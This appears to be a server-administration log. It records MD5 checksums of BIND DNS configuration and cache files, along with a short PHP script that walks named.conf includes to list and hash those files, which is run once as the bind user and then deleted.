MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.conf)= 0c602ebd02403b745f34fa146858295c
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.txt)= 5e377f3629d6fe361d57f6ca437ac6a3
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-25 19:54:00: Establishing a connection
2026-04-25 19:54:00: 

PUT: /tmp/pkp341869

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-25 19:54:00: 

runuser -l bind -s /bin/bash -c '/tmp/pkp341869; rm /tmp/pkp341869'

2026-04-25 19:54:01: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= ea9a0be66a36e076d7c3b9ce4ace025c
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
